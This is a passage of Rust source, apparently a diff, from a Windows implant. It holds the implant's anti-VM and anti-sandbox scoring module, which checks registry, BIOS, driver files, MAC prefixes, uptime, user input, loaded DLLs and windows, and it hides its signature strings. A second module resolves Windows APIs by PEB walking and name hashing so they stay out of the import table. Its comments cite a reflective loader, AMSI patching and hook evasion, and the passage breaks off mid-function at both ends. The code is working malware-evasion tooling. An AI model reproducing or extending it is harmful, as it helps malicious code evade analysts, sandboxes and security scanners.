const LENS: [usize; 10] = [33, 41, 41, 41, 39, 41, 28, 28, 35, 38];
|
||||
|
||||
unsafe {
|
||||
for (i, s) in paths.iter().enumerate() {
|
||||
let raw = obf::dec_sig(key, s, LENS[i]);
|
||||
let w = wide(&raw[..LENS[i]]);
|
||||
if reg_key_exists(&w) {
|
||||
hits += 1;
|
||||
if hits >= 2 {
|
||||
return hits;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BIOS table: read SystemManufacturer + SystemProductName values.
|
||||
let bios_key = wide(b"HARDWARE\\DESCRIPTION\\System\\BIOS");
|
||||
if let Some(hk) = open(&bios_key) {
|
||||
let val_names: [(obf::Slot, u32); 2] = [
|
||||
obf::sig(gen::K_ENV, 0x4301, b"SystemManufacturer"),
|
||||
obf::sig(gen::K_ENV, 0x4302, b"SystemProductName"),
|
||||
];
|
||||
const VLENS: [usize; 2] = [18, 17];
|
||||
let mut buf = [0u8; 256];
|
||||
for (i, vn) in val_names.iter().enumerate() {
|
||||
let raw = obf::dec_sig(gen::K_ENV, vn, VLENS[i]);
|
||||
let vw = wide(&raw[..VLENS[i]]);
|
||||
let mut sz: u32 = buf.len() as u32;
|
||||
let st = dynapi::RegQueryValueExW(
|
||||
hk, vw.as_ptr(), ptr::null_mut(), ptr::null_mut(),
|
||||
buf.as_mut_ptr(), &mut sz,
|
||||
);
|
||||
if st == 0 && sz > 0 {
|
||||
let vl = lower(&buf[..sz as usize]);
|
||||
let markers: [&[u8]; 6] =
|
||||
[b"vmware", b"virtualbox", b"qemu", b"kvm", b"xen", b"microsoft corporation virtual"];
|
||||
for m in markers {
|
||||
if contains(&vl, m) {
|
||||
hits += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
dynapi::RegCloseKey(hk);
|
||||
}
|
||||
}
|
||||
|
||||
hits
|
||||
}
|
||||
|
||||
unsafe fn open(subkey_wide: &[u16]) -> Option<usize> {
|
||||
let mut hk: usize = 0;
|
||||
if dynapi::RegOpenKeyExW(
|
||||
abi::HKEY_LOCAL_MACHINE,
|
||||
subkey_wide.as_ptr(),
|
||||
0,
|
||||
abi::KEY_READ,
|
||||
&mut hk,
|
||||
) == 0
|
||||
{
|
||||
Some(hk)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 7. Filesystem artifacts
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const FILE_ATTRIBUTE_INVALID: u32 = 0xFFFF_FFFF;
|
||||
|
||||
unsafe fn file_exists(path_wide: &[u16]) -> bool {
|
||||
abi::GetFileAttributesW(path_wide.as_ptr()) != FILE_ATTRIBUTE_INVALID
|
||||
}
|
||||
|
||||
pub fn filesystem_artifacts() -> u32 {
|
||||
let mut hits: u32 = 0;
|
||||
let key: u8 = gen::K_ENV;
|
||||
|
||||
let files: [(obf::Slot, u32); 14] = [
|
||||
obf::sig(key, 0x4401, b"C:\\Program Files\\VMware\\VMware Tools"),
|
||||
obf::sig(key, 0x4402, b"C:\\Program Files\\Oracle\\VirtualBox Guest Additions"),
|
||||
obf::sig(key, 0x4403, b"C:\\Windows\\System32\\drivers\\vmmouse.sys"),
|
||||
obf::sig(key, 0x4404, b"C:\\Windows\\System32\\drivers\\vmhgfs.sys"),
|
||||
obf::sig(key, 0x4405, b"C:\\Windows\\System32\\drivers\\vboxguest.sys"),
|
||||
obf::sig(key, 0x4406, b"C:\\Windows\\System32\\drivers\\vboxmouse.sys"),
|
||||
obf::sig(key, 0x4407, b"C:\\Windows\\System32\\vboxdisp.dll"),
|
||||
obf::sig(key, 0x4408, b"C:\\Windows\\System32\\vboxhook.dll"),
|
||||
obf::sig(key, 0x4409, b"C:\\Windows\\System32\\vboxmrxnp.dll"),
|
||||
obf::sig(key, 0x440a, b"C:\\Windows\\System32\\drivers\\balloon.sys"),
|
||||
obf::sig(key, 0x440b, b"C:\\Windows\\System32\\drivers\\netkvm.sys"),
|
||||
obf::sig(key, 0x440c, b"C:\\Windows\\System32\\drivers\\pvpanic.sys"),
|
||||
obf::sig(key, 0x440d, b"C:\\Program Files\\Parallels\\Parallels Tools"),
|
||||
obf::sig(key, 0x440e, b"C:\\Windows\\System32\\prl_cc.exe"),
|
||||
];
|
||||
const LENS: [usize; 14] = [37, 51, 43, 42, 46, 46, 39, 38, 42, 44, 44, 44, 45, 36];
|
||||
|
||||
unsafe {
|
||||
for (i, s) in files.iter().enumerate() {
|
||||
let raw = obf::dec_sig(key, s, LENS[i]);
|
||||
let w = wide(&raw[..LENS[i]]);
|
||||
if file_exists(&w) {
|
||||
hits += 1;
|
||||
if hits >= 2 {
|
||||
return hits;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
hits
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 8. MAC address OUI prefixes
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
struct IpAdapterAddresses {
|
||||
_length: u32,
|
||||
_if_index: u32,
|
||||
next: *mut IpAdapterAddresses,
|
||||
_adapter_name: *const u8,
|
||||
_first_unicast: *mut c_void,
|
||||
_first_anycast: *mut c_void,
|
||||
_first_multicast: *mut c_void,
|
||||
_dns_server: *mut c_void,
|
||||
_dns_suffix: *mut u16,
|
||||
_description: *mut u16,
|
||||
_friendly_name: *mut u16,
|
||||
physical_address: [u8; 8],
|
||||
physical_address_length: u32,
|
||||
_flags: u32,
|
||||
}
|
||||
|
||||
/// Known VM/hypervisor OUI prefixes (first 3 bytes of MAC).
|
||||
const VM_OUIS: [[u8; 3]; 12] = [
|
||||
[0x00, 0x05, 0x69], // VMware
|
||||
[0x00, 0x0C, 0x29], // VMware
|
||||
[0x00, 0x1C, 0x14], // VMware
|
||||
[0x00, 0x50, 0x56], // VMware
|
||||
[0x08, 0x00, 0x27], // VirtualBox
|
||||
[0x0A, 0x00, 0x27], // VirtualBox (alt)
|
||||
[0x52, 0x54, 0x00], // QEMU/KVM
|
||||
[0x00, 0x16, 0x3E], // Xen
|
||||
[0x00, 0x1C, 0x42], // Parallels
|
||||
[0x00, 0x03, 0xFF], // Hyper-V (Microsoft)
|
||||
[0x00, 0x15, 0x5D], // Hyper-V
|
||||
[0x02, 0x42, 0xAC], // Docker bridge (container/sandbox hint)
|
||||
];
|
||||
|
||||
const AF_UNSPEC: u32 = 0;
|
||||
const GAA_FLAG_INCLUDE_ALL_INTERFACES: u32 = 0x100;
|
||||
const ERROR_BUFFER_OVERFLOW: u32 = 111;
|
||||
|
||||
pub fn mac_address_vm() -> bool {
|
||||
unsafe {
|
||||
let mut size: u32 = 0;
|
||||
// First call to get required buffer size.
|
||||
let rc = dynapi::GetAdaptersAddresses(
|
||||
AF_UNSPEC,
|
||||
GAA_FLAG_INCLUDE_ALL_INTERFACES,
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
&mut size,
|
||||
);
|
||||
if rc != ERROR_BUFFER_OVERFLOW || size == 0 {
|
||||
return false;
|
||||
}
|
||||
let mut buf = vec![0u8; size as usize];
|
||||
let head = buf.as_mut_ptr() as *mut IpAdapterAddresses;
|
||||
let rc = dynapi::GetAdaptersAddresses(
|
||||
AF_UNSPEC,
|
||||
GAA_FLAG_INCLUDE_ALL_INTERFACES,
|
||||
ptr::null_mut(),
|
||||
head as *mut c_void,
|
||||
&mut size,
|
||||
);
|
||||
if rc != 0 {
|
||||
return false;
|
||||
}
|
||||
let mut cur = head;
|
||||
while !cur.is_null() {
|
||||
let a = &*cur;
|
||||
let len = a.physical_address_length as usize;
|
||||
if len >= 3 {
|
||||
for oui in VM_OUIS.iter() {
|
||||
if a.physical_address[0] == oui[0]
|
||||
&& a.physical_address[1] == oui[1]
|
||||
&& a.physical_address[2] == oui[2]
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
cur = a.next;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 9. Uptime anomaly
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Sandboxes frequently boot from a fresh snapshot minutes before detonation.
|
||||
pub fn uptime_suspicious(max_minutes: u64) -> bool {
|
||||
let ms = unsafe { abi::GetTickCount64() };
|
||||
ms < max_minutes * 60 * 1000
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 10. Process-count anomaly
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn process_count_low(min_expected: usize) -> bool {
|
||||
const TH32CS_SNAPPROCESS: u32 = 0x2;
|
||||
unsafe {
|
||||
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
|
||||
return false;
|
||||
}
|
||||
#[repr(C)]
|
||||
struct Pe32W {
|
||||
dw_size: u32,
|
||||
_pad: [u32; 7],
|
||||
sz_exe_file: [u16; 260],
|
||||
}
|
||||
let mut e: Pe32W = core::mem::zeroed();
|
||||
e.dw_size = core::mem::size_of::<Pe32W>() as u32;
|
||||
let mut count: usize = 0;
|
||||
if abi::Process32FirstW(snap, &mut e as *mut _ as *mut c_void) != 0 {
|
||||
loop {
|
||||
count += 1;
|
||||
if count > min_expected {
|
||||
break;
|
||||
}
|
||||
if abi::Process32NextW(snap, &mut e as *mut _ as *mut c_void) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
abi::CloseHandle(snap);
|
||||
count <= min_expected
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 11. User input absence
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
struct LastInputInfo {
|
||||
cb_size: u32,
|
||||
dw_time: u32,
|
||||
}
|
||||
|
||||
/// No keyboard/mouse input within N ms => nobody is using this machine =>
|
||||
/// likely an automated sandbox. Only meaningful when uptime is long enough
|
||||
/// (a freshly booted real PC also has no input yet).
|
||||
pub fn no_user_input(window_ms: u32, min_uptime_ms: u64) -> bool {
|
||||
unsafe {
|
||||
let now = abi::GetTickCount64();
|
||||
if now < min_uptime_ms {
|
||||
return false; // too early to judge
|
||||
}
|
||||
let mut li = LastInputInfo {
|
||||
cb_size: core::mem::size_of::<LastInputInfo>() as u32,
|
||||
dw_time: 0,
|
||||
};
|
||||
if dynapi::GetLastInputInfo(&mut li as *mut _ as *mut c_void) == 0 {
|
||||
return false;
|
||||
}
|
||||
let last = li.dw_time as u64;
|
||||
// GetTickCount wraps ~49 days; ignore wrap edge case for simplicity.
|
||||
now.saturating_sub(last) > window_ms as u64
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 12. Loaded module scan
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn vm_dlls_loaded() -> bool {
|
||||
const TH32CS_SNAPMODULE: u32 = 0x8;
|
||||
unsafe {
|
||||
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
|
||||
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
|
||||
return false;
|
||||
}
|
||||
#[repr(C)]
|
||||
struct Me32W {
|
||||
dw_size: u32,
|
||||
_mid: [u32; 7],
|
||||
_base: usize,
|
||||
sz_module: [u16; 256],
|
||||
sz_exe_path: [u16; 260],
|
||||
}
|
||||
let mut me: Me32W = core::mem::zeroed();
|
||||
me.dw_size = core::mem::size_of::<Me32W>() as u32;
|
||||
|
||||
let key: u8 = gen::K_TOKEN;
|
||||
let bad: [(obf::Slot, u32); 8] = [
|
||||
obf::sig(key, 0x4501, b"vmguestlib"),
|
||||
obf::sig(key, 0x4502, b"vboxhook"),
|
||||
obf::sig(key, 0x4503, b"vboxmrxnp"),
|
||||
obf::sig(key, 0x4504, b"vmswitch"),
|
||||
obf::sig(key, 0x4505, b"sandboxie"),
|
||||
obf::sig(key, 0x4506, b"dbghelp"),
|
||||
obf::sig(key, 0x4507, b"api_log"),
|
||||
obf::sig(key, 0x4508, b"dir_watch"),
|
||||
];
|
||||
const LENS: [usize; 8] = [11, 8, 10, 8, 9, 7, 8, 9];
|
||||
|
||||
let mut found = false;
|
||||
if abi::Module32FirstW(snap, &mut me as *mut _ as *mut c_void) != 0 {
|
||||
loop {
|
||||
let mut name = Vec::with_capacity(512);
|
||||
for ch in me.sz_module.iter() {
|
||||
if *ch == 0 { break; }
|
||||
name.push(*ch as u8);
|
||||
}
|
||||
let nl = lower(&name);
|
||||
for (i, s) in bad.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&nl, &plain[..LENS[i]]) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if found { break; }
|
||||
if abi::Module32NextW(snap, &mut me as *mut _ as *mut c_void) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
abi::CloseHandle(snap);
|
||||
found
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 13. Window title/class scan
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
static mut WINDOW_HIT: bool = false;
|
||||
|
||||
/// EnumWindows callback: check window text + class against encrypted signatures.
|
||||
unsafe extern "system" fn enum_cb(hwnd: usize, _lparam: isize) -> i32 {
|
||||
let mut text = [0u16; 256];
|
||||
let mut cls = [0u16; 256];
|
||||
dynapi::GetWindowTextW(hwnd, text.as_mut_ptr(), 256);
|
||||
dynapi::GetClassNameW(hwnd, cls.as_mut_ptr(), 256);
|
||||
|
||||
let tlen = text.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
let clen = cls.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
let tb: Vec<u8> = text[..tlen].iter().map(|&c| c as u8).collect();
|
||||
let cb: Vec<u8> = cls[..clen].iter().map(|&c| c as u8).collect();
|
||||
|
||||
let key: u8 = gen::K_DISPLAY;
|
||||
let bad: [(obf::Slot, u32); 6] = [
|
||||
obf::sig(key, 0x5501, b"vboxtraytoolwindow"),
|
||||
obf::sig(key, 0x5502, b"vboxtray"),
|
||||
obf::sig(key, 0x5503, b"vmwareuser"),
|
||||
obf::sig(key, 0x5504, b"vmwaretray"),
|
||||
obf::sig(key, 0x5505, b"paratools"),
|
||||
obf::sig(key, 0x5506, b"cuckoo sandbox"),
|
||||
];
|
||||
const LENS: [usize; 6] = [18, 8, 11, 10, 9, 13];
|
||||
|
||||
let tl = lower(&tb);
|
||||
let cl = lower(&cb);
|
||||
for (i, s) in bad.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
let p = &plain[..LENS[i]];
|
||||
if contains(&tl, p) || contains(&cl, p) {
|
||||
WINDOW_HIT = true;
|
||||
return 0; // stop enumeration
|
||||
}
|
||||
}
|
||||
1 // continue
|
||||
}
|
||||
|
||||
pub fn vm_tool_windows() -> bool {
|
||||
unsafe {
|
||||
WINDOW_HIT = false;
|
||||
dynapi::EnumWindows(enum_cb as usize, 0);
|
||||
WINDOW_HIT
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 14. Disk / volume characteristics
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Fixed drives whose volume label matches common VM defaults
|
||||
/// ("System Reserved" alone is fine; but "VBOX", "CDROM" etc are not).
|
||||
pub fn disk_artifacts() -> bool {
|
||||
let key: u8 = gen::K_SMBIOS;
|
||||
let labels: [(obf::Slot, u32); 5] = [
|
||||
obf::sig(key, 0x5601, b"vbox"),
|
||||
obf::sig(key, 0x5602, b"cdrom"),
|
||||
obf::sig(key, 0x5603, b"ubuntu"),
|
||||
obf::sig(key, 0x5604, b"debian"),
|
||||
obf::sig(key, 0x5605, b"kali"),
|
||||
];
|
||||
const LENS: [usize; 5] = [4, 5, 6, 6, 4];
|
||||
|
||||
// DRIVE_FIXED = 3
|
||||
const DRIVE_FIXED: u32 = 3;
|
||||
for letter in [b'C', b'D', b'E'] {
|
||||
let root: Vec<u8> = vec![letter, b':', b'\\'];
|
||||
let rw = wide(&root);
|
||||
unsafe {
|
||||
if abi::GetDriveTypeW(rw.as_ptr()) != DRIVE_FIXED {
|
||||
continue;
|
||||
}
|
||||
let mut vol = [0u16; 128];
|
||||
let mut serial: u32 = 0;
|
||||
let ok = abi::GetVolumeInformationW(
|
||||
rw.as_ptr(),
|
||||
vol.as_mut_ptr(),
|
||||
128,
|
||||
&mut serial,
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
);
|
||||
if ok == 0 {
|
||||
continue;
|
||||
}
|
||||
let vlen = vol.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
let vb: Vec<u8> = vol[..vlen].iter().map(|&c| c as u8).collect();
|
||||
let vl = lower(&vb);
|
||||
for (i, s) in labels.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&vl, &plain[..LENS[i]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Score aggregation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Run all anti-VM vectors and return a cumulative score.
|
||||
/// Higher = more suspicious. Caller applies threshold.
|
||||
pub fn score() -> u32 {
|
||||
let mut s: u32 = 0;
|
||||
|
||||
// Primary signals (high weight).
|
||||
if cpuid_hypervisor_bit() {
|
||||
s += 3;
|
||||
}
|
||||
if smbios_firmware_strings() {
|
||||
s += 3;
|
||||
}
|
||||
if mac_address_vm() {
|
||||
s += 3;
|
||||
}
|
||||
if registry_artifacts() >= 2 {
|
||||
s += 3;
|
||||
}
|
||||
if filesystem_artifacts() >= 2 {
|
||||
s += 3;
|
||||
}
|
||||
|
||||
// Secondary signals (medium weight).
|
||||
if let Some(vendor) = cpuid_hypervisor_vendor() {
|
||||
let vl = lower(vendor.as_bytes());
|
||||
for m in [b"vmware".as_slice(), b"vbox".as_slice(), b"kvm".as_slice(), b"qemu".as_slice()] {
|
||||
if contains(&vl, m) {
|
||||
s += 2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
// VMware backdoor port: only safe to probe when a hypervisor is
|
||||
// already known present (avoids #GP on bare metal).
|
||||
if contains(&vl, b"vmware") && vmware_backdoor_present() {
|
||||
s += 2;
|
||||
}
|
||||
}
|
||||
if cpuid_brand_suspicious() {
|
||||
s += 2;
|
||||
}
|
||||
if vm_dlls_loaded() {
|
||||
s += 2;
|
||||
}
|
||||
if vm_tool_windows() {
|
||||
s += 2;
|
||||
}
|
||||
|
||||
// Tertiary signals (low weight; individually noisy, collectively telling).
|
||||
if uptime_suspicious(20) {
|
||||
s += 1;
|
||||
}
|
||||
if process_count_low(30) {
|
||||
s += 1;
|
||||
}
|
||||
if no_user_input(120_000, 10 * 60 * 1000) {
|
||||
s += 1;
|
||||
}
|
||||
if disk_artifacts() {
|
||||
s += 1;
|
||||
}
|
||||
|
||||
// Instruction-level heuristics (very weak individually).
|
||||
if s >= 2 {
|
||||
// Only refine when other signals exist, to avoid FP on bare metal.
|
||||
if sidt_red_pill() {
|
||||
s += 1;
|
||||
}
|
||||
if sldt_anomaly() {
|
||||
s += 1;
|
||||
}
|
||||
}
|
||||
|
||||
s
|
||||
}
|
||||
@@ -0,0 +1,265 @@
|
||||
//! Runtime API resolution by hash — no import table entry needed.
|
||||
//!
|
||||
//! Many analysis tools triage an implant by its static import table. This module
|
||||
//! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB
|
||||
//! module list and scanning export names with a rotating hash, exactly like the
|
||||
//! reflective loader does. The guard never needs those APIs to appear in its
|
||||
//! imports, so a scanner sees a much quieter PE.
|
||||
//!
|
||||
//! This is intentionally additive: the payload *already* worked via its normal
|
||||
//! import table (fixed up by the reflective loader). For the guard, resolving a
|
||||
//! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them.
|
||||
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi;
|
||||
|
||||
#[inline(always)]
|
||||
fn ror1(v: u32) -> u32 {
|
||||
v.wrapping_shr(1) | v.wrapping_shl(31)
|
||||
}
|
||||
|
||||
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
while i < nchars {
|
||||
let c = ptr::read_volatile((ptr + i * 2) as *const u16);
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add((c - 0x20) as u32);
|
||||
} else {
|
||||
h = h.wrapping_add(c as u32);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
h
|
||||
}
|
||||
|
||||
unsafe fn hash_ascii(ptr: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
loop {
|
||||
let c = ptr::read_volatile((ptr + i) as *const u8) as u32;
|
||||
if c == 0 {
|
||||
return h;
|
||||
}
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add(c - 0x20);
|
||||
} else {
|
||||
h = h.wrapping_add(c);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
|
||||
/// Find a module base by its base-name rotating hash.
|
||||
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
|
||||
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
|
||||
if ldr == 0 {
|
||||
return 0;
|
||||
}
|
||||
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
|
||||
if head == 0 {
|
||||
return 0;
|
||||
}
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 {
|
||||
return 0;
|
||||
}
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
|
||||
if name_len > 0 {
|
||||
let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
|
||||
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
|
||||
return ptr::read_volatile((entry + 0x30) as *const usize);
|
||||
}
|
||||
}
|
||||
let next = ptr::read_volatile((entry + 0x10) as *const usize);
|
||||
if next == head || next == cur {
|
||||
break;
|
||||
}
|
||||
cur = next;
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve an export of `base` by its ror-hashed name.
|
||||
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
|
||||
let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize;
|
||||
let dd = base + lfanew + 4 + 20 + 112;
|
||||
let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize;
|
||||
if ed_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = base + ed_rva;
|
||||
let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize;
|
||||
let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize;
|
||||
let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize;
|
||||
let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize;
|
||||
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
|
||||
return 0;
|
||||
}
|
||||
for i in 0..num_names {
|
||||
let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize;
|
||||
if hash_ascii(base + name_rva) == want {
|
||||
let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize;
|
||||
let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize;
|
||||
if fn_rva != 0 {
|
||||
return base + fn_rva;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
unsafe fn peb_pointer() -> usize {
|
||||
let peb: usize;
|
||||
core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
||||
peb
|
||||
}
|
||||
|
||||
/// Public PEB pointer accessor (used by antihook's IAT walk).
|
||||
pub unsafe fn peb_ptr() -> usize {
|
||||
peb_pointer()
|
||||
}
|
||||
|
||||
// API-hash constants stored XORed with HASH_KEY so raw ror-hashes never
|
||||
// appear in the binary. `r()` unmasks at runtime (black_box blocks the
|
||||
// optimizer from folding the XOR back to the plain value).
|
||||
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
||||
|
||||
#[inline(always)]
|
||||
fn r(h: u32) -> u32 {
|
||||
h ^ core::hint::black_box(HASH_KEY)
|
||||
}
|
||||
|
||||
const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
|
||||
const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY;
|
||||
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
|
||||
const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY;
|
||||
const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY;
|
||||
|
||||
type CheckRemoteDebuggerFn =
|
||||
unsafe extern "system" fn(process: usize, present: *mut i32) -> i32;
|
||||
|
||||
/// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0.
|
||||
pub unsafe fn check_remote_debugger() -> usize {
|
||||
let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32));
|
||||
if k32 == 0 {
|
||||
return 0;
|
||||
}
|
||||
export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT))
|
||||
}
|
||||
|
||||
/// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present.
|
||||
pub unsafe fn dyn_check_remote_debugger() -> bool {
|
||||
let raw = check_remote_debugger();
|
||||
if raw == 0 {
|
||||
return false;
|
||||
}
|
||||
let f: CheckRemoteDebuggerFn = core::mem::transmute(raw);
|
||||
let mut present: i32 = 0;
|
||||
f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0
|
||||
}
|
||||
|
||||
/// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0.
|
||||
pub unsafe fn nt_query_information_process() -> usize {
|
||||
let peb = peb_pointer();
|
||||
let ntdll = module_base_by_hash(peb, r(HASH_NTDLL));
|
||||
if ntdll == 0 {
|
||||
return 0;
|
||||
}
|
||||
export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS))
|
||||
}
|
||||
|
||||
/// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0.
|
||||
pub unsafe fn virtual_protect() -> usize {
|
||||
let peb = peb_pointer();
|
||||
let k32 = module_base_by_hash(peb, r(HASH_KERNEL32));
|
||||
if k32 == 0 {
|
||||
return 0;
|
||||
}
|
||||
export_by_hash(k32, r(HASH_VIRTUALPROTECT))
|
||||
}
|
||||
|
||||
/// ntdll module base, resolved by hash.
|
||||
pub unsafe fn ntdll_base() -> usize {
|
||||
module_base_by_hash(peb_pointer(), r(HASH_NTDLL))
|
||||
}
|
||||
|
||||
/// Resolve any loaded module's base by its wide base-name hash
|
||||
/// (used for e.g. amsi.dll during AMSI patching).
|
||||
pub unsafe fn module_base_by_name_hash(want: u32) -> usize {
|
||||
module_base_by_hash(peb_pointer(), want)
|
||||
}
|
||||
|
||||
/// Public wrapper to resolve an ntdll export by its ror hash (used by antihook).
|
||||
pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize {
|
||||
export_by_hash(base, want)
|
||||
}
|
||||
|
||||
/// A resolved dynamic NT API handle (opaque pointer + castable fn).
|
||||
type NtQueryFn = unsafe extern "system" fn(
|
||||
process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32,
|
||||
) -> i32;
|
||||
type VirtualProtectFn = unsafe extern "system" fn(
|
||||
addr: *mut c_void, size: usize, prot: u32, old: *mut u32,
|
||||
) -> i32;
|
||||
|
||||
/// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically
|
||||
/// resolved pointer. Used by the guard to avoid importing it.
|
||||
pub unsafe fn dyn_query_debug_flags() -> Option<u32> {
|
||||
let raw = nt_query_information_process();
|
||||
if raw == 0 {
|
||||
return None;
|
||||
}
|
||||
let f: NtQueryFn = core::mem::transmute(raw);
|
||||
let mut flags: u32 = 0;
|
||||
let st = f(
|
||||
abi::GetCurrentProcess(),
|
||||
0x1f,
|
||||
&mut flags as *mut u32 as *mut c_void,
|
||||
core::mem::size_of::<u32>() as u32,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if st == 0 {
|
||||
Some(flags)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns
|
||||
/// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger
|
||||
/// is attached), None on failure/no debugger.
|
||||
pub unsafe fn dyn_query_debug_port() -> bool {
|
||||
let raw = nt_query_information_process();
|
||||
if raw == 0 {
|
||||
return false;
|
||||
}
|
||||
let f: NtQueryFn = core::mem::transmute(raw);
|
||||
let mut port: *mut c_void = ptr::null_mut();
|
||||
let st = f(
|
||||
abi::GetCurrentProcess(),
|
||||
7,
|
||||
&mut port as *mut *mut c_void as *mut c_void,
|
||||
core::mem::size_of::<*mut c_void>() as u32,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
st == 0 && !port.is_null()
|
||||
}
|
||||
|
||||
/// Dynamically downgrade an RWX region using the resolved VirtualProtect.
|
||||
pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool {
|
||||
let raw = virtual_protect();
|
||||
if raw == 0 {
|
||||
return false;
|
||||
}
|
||||
